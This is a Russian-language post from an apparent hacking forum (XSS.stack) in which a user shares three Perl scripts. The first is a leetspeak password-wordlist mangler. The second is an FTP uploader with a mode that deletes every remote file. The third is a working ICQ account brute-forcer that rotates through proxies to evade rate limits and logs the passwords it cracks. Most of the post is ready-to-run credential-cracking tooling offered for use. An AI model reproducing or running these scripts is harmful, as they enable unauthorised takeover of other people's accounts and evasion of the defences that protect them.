• XSS.stack #1 – первый литературный журнал от юзеров форума

Perl Scripts

KSURi

RAID-массив
Пользователь
Регистрация
28.05.2006
Сообщения
72
Реакции
1
Вот решил выложить пару своих скриптов. Может кому пригодятся...
Гибридизатор паролей:
Код:
#!/usr/bin/perl

exit print "\n# $0\n# (C)oded by .:[KSURi]:.\n\nUsage: perl $0 <file>\n" if(!$ARGV[0]);

print "\n# $0\n# (C)oded by .:[KSURi]:.\n";

my $out="hybrid_words.txt";
my $in="$ARGV[0]";
my $ctr=0;

open(OUT,">>$out") or exit print "\nOutput file: $!\n";
open(IN,"$in") or exit print "\nInput file: $!\n";
my @wordsTable=<IN>;
close IN;

print "\n[i] ".$#wordsTable." words loaded\n";

foreach $string(@wordsTable)
{
   if(my $result=hybrid($string))
   {
#        print "[ $string -> $result ]\n";
       print OUT "$result\n";
       $ctr++;
   }
}

$ctr=$ctr-1;
print "\n[+] Done: $ctr words processed\n";

sub hybrid
{
   my $wordToMod=shift;
   chomp($wordToMod);
   $wordToMod=~s/a/\@/ig;
   $wordToMod=~s/s/\$/ig;
   $wordToMod=~s/o/0/ig;
   $wordToMod=~s/l/1/ig;
   $wordToMod=~s/x/][/ig;
   $wordToMod=~s/for/4/ig;
   $wordToMod=~s/to/2/ig;
   return $wordToMod;
}

# hybrid.pl
# (C)oded by .:[KSURi]:.
Добавлено в [time]1148810407[/time]
ФТП-аплоадер.
Код:
#!/usr/bin/perl

use Net::FTP;

# Config
$infoFile="login.txt";
$logFile="log.txt";
$currFile="current.txt";
$errorFile="errors.txt";
$path="upload";
$ftpServer="";
$ftpLogin="";
$ftpPass="";
$ftpTimeout=5;
$ftpTries=2;
$i=0;
# End of config

# Modes
$oneFileMode="";
$fullDelMode="";
$ftpMode="";
# End of modes

&initialize;
print "\n[+] $i files uploaded to $ftpServer\n";

sub initialize
{
unlink $errorFile if(-e $errorFile);
&readInfo();
print "\n[i] Connecting to FTP... ";
$ftp=Net::FTP->new(Host=>"$ftpServer",Timeout=>$ftpTimeout) or error("$ftpServer: $@\n")&&exit print "FAILED\n";
$ftp->login("$ftpLogin","$ftpPass") or error("$ftpServer: ".$ftp->message."\n")&&exit print "FAILED\n";
$ftp->pasv if($ftpMode eq "pasv");
$ftp->cwd("/Upload");
print "OK\n";
print "\n[i] Initializing... ";
if($oneFileMode ne "")
{
 print "\n[i] OneFileMode enabled!\n";
 &oneFileMode($oneFileMode);
}
if($fullDelMode ne "")
{
 print "\n[i] FullDelMode enabled!\n";
 &fullDelMode();
}
print "OK\n";
opendir(LOCAL,"$path") or exit print "\nCannot open source dir: $!\n";
my @files=readdir LOCAL;
close LOCAL;
foreach $file(@files)
{
 if(-d "$file" and $file ne "." and $file ne "..")
 {
  opendir(SUBDIR,"$file") or exit print "\nCannot open source's subdir: $!\n";
  my @subFiles=readdir SUBDIR;
  close SUBDIR;
  foreach $subFile(@subFiles)
  {
   next if($file eq "." or $file eq "..");
   upload($subFile);
  }
 }
 next if($file eq "." or $file eq "..");
 upload($file);
}
unlink $logFile;
}

sub readInfo
{
open(INFO,"$infoFile") or exit print "\nCannot open server info file: $!\n";
my @info=<INFO>;
close INFO;
foreach $string(@info)
{
 chomp($string);
 ($ftpServer,$ftpLogin,$ftpPass)=split(/\|/,$string);
 exit print "\n[-] Error retrieving info from $infoFile\n" if($ftpServer eq "" or $ftpLogin eq "" or $ftpPass eq "");
}
}

sub log
{
my $action=shift;
open(LOG,">>$logFile") or exit print "\nCannot open log file: $!\n";
print LOG "$action\n";
close LOG;
}

sub error
{
my $error=shift;
open(ERROR,">>$errorFile") or exit print "\nCannot open errors log file: $!\n";
print ERROR "$error\n";
close ERROR;
}

sub upload
{
my $file=shift;
$ftp->put("$path/$file") or exit print "\n[-] Upload failed!\n"&&error("$ftpServer: ".$ftp->message."\n");
log("$ftpServer: $file: uploaded\n");
$i++;
}

sub oneFileMode
{
my $oneFile=shift;
$ftp->put("$path/$oneFile") or exit print "\n[-] Upload failed in oneFileMode!\n"&&error("$ftpServer: ".$ftp->message."\n");
log("$ftpServer: $oneFile: uploaded in oneFileMode\n");
$i++;
}

sub fullDelMode
{
my @remoteFiles=$ftp->ls;
foreach $remoteFile(@remoteFiles)
{
 if($ftp->delete($remoteFile))
 {
  log("$ftpServer: $remoteFile: deleted in fullDelMode\n");
 }
 else
 {
  error("$ftpServer: $remoteFile: ".$ftp->message."\n");
 }
}
}

# ftp_uploader.pl
# (C)oded by .:[KSURi]:
Добавлено в [time]1148810462[/time]
Модифицированный брутер аси.
Код:
#!/usr/bin/perl

use Net::vICQ;

$pause=6;
$no_fast=1;

$PROXY_TYPE='http';

$debug=1;
$uins='uins.txt';
$passwordlst='pass.txt';
$proxylst='proxies.txt';
$success='log.txt';
$iall=0;
#$j=0; 
$ctr=0;
#$t=50;
#@forked=();
@proxies=();

print "\n# $0\n# Modified by .:[KSURi]:.\n" if $debug;

$SIG{INT}=sub { &suicide(); };

readProxyFile();

#while(1) 
#{
#    for($i=0;$i<=$t;$i++) 
#    {
#        if ($pid=fork()) 
#        {
#            push(@forked,$pid);
#        } 
#        else 
#        {
          &checkstart;
          &openuins;
#            exit;
#        }
#    }
#    killpidz();
#}

sub checkstart 
{
  &crash(1,$uins) unless (-f $uins);
  &crash(1,$passwordlst) unless (-f $passwordlst);
}

sub openuins 
{
  open(UINS,"$uins") || &crash(10);
  while(<UINS>) 
  {
      chomp($_);
      push(@uinslst,$_)
  }
  close(UINS);
  open(PASS,"$passwordlst") || &crash(10);
  while(<PASS>) 
  {
      chomp($_);
      push(@ps,$_)
  }
  close(PASS);
  for ($iall=0;$iall<=scalar(@uinslst);$iall++) 
  {
      if ($iall>=scalar(@uinslst)) { &crash(2) }
      $prepareuin=$uinslst[$iall];
      print "Bruting $prepareuin...\n\n" if $debug;
      openpass($prepareuin);
  }
}

sub openpass 
{
  my($uin)=@_;
  foreach $pass (@ps) 
  {
      $done=crack($pass,$uin);
      if ($done eq 2)  
      { 
          print "\nPASSWORD FOUND\n" if $debug;
          return
      }
      if ($done eq 3)  
      { 
          print "\nEOF: $passwordlst\n" if $debug;
          return
      }
  }
}

sub crack 
{
  $ctr++;
  $ctr=0 if($ctr>$#proxies);
  my($currProxy,$currPort)=split(':',$proxies[$ctr]);
  my($passwd,$uin)=@_;
  unless ($passwd) { return 3; }
  print "Trying $uin:$passwd (proxy: $currProxy:$currPort)\n" if $debug;
  $resuilt=&sock($uin,$passwd,$currProxy,$currPort);
  if ($resuilt == -1)
  {
      redo
  } 
  elsif (!($resuilt))
  {
      return 0;
  }
  elsif ($resuilt)
  {
      print " -> OK\n" if $debug;
      logging($success,"$uin\:$passwd");
#        $i++;
      return 2;
  }
}

sub sock 
{
  print "Wait $pause seconds (no fast $no_fast times) ";
  sleep($pause);
  my ($uin,$passwd,$proxy,$port)=@_;
  my $icq = Net::vICQ->new($uin, $passwd,0);
  $icq->{_Auto_Login} = 1;
  $icq->{_Proxy_Type} = $PROXY_TYPE;
  $icq->{_Proxy_Host} = $proxy;
  $icq->{_Proxy_Port} = $port;
  $icq->Connect();
  if(!($err = $icq->GetError()))
  {
      while(!$icq->{_LoggedIn} && !($err = $icq->GetError()))
      {
          $icq->Execute_Once();
      }
  }
  $icq->Disconnect();
  $no_fast++;
  if ($no_fast==20) {$no_fast=0;$pause-- if ($pause>1);}   
  if (!$err) 
  {
      return 1;
  } 
  else 
  {
      print $err."\n" if $debug;
      if ($err=~/(recverror|missmatch)/)
      {
          return 0;
      }
      if ($err=~/fast/) 
      {
          $pause++;
          $no_fast=0;
      }
      return -1;
  }
}

sub logging 
{
  my($logg,$string)=@_;
  open(LOGG,">>$logg") || &crash(10);
  print LOGG "$string\n";
  close(LOGG);    
}

sub crash 
{
  my($desc,$file)=@_;
  if ($desc == 1)
  {
      exit print "\nCan\'t access to $file\n" if $debug;
      exit
  }
  elsif ($desc == 2) 
  {
      exit print "\nEOF: $uins\n" if $debug;
      exit
  }
  elsif ($desc == 10)
  {
      exit print "\nUnknown error\n" if $debug;
      exit
  }
}

sub readProxyFile
{
  open(PROXY,"$proxylst") or crash(1,"$proxylst");
  @proxies=<PROXY>;
  close PROXY;
  foreach $proxy(@proxies)
  {
      chomp($proxy);
  }
  print "\n".$#proxies." proxies loaded\n\n" if $debug;
}
  

sub suicide
{
  print "\n\$SIG{INT} hooked!\n";
#    foreach (@forked) 
#    {
#        chomp;
#        waitpid($_,0);
#        kill("TERM" => $_)
#    }
#    undef @forked;
  exit(0);
}

# icq_brute v2.0.pl
# Modified by .:[KSURi]:.
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх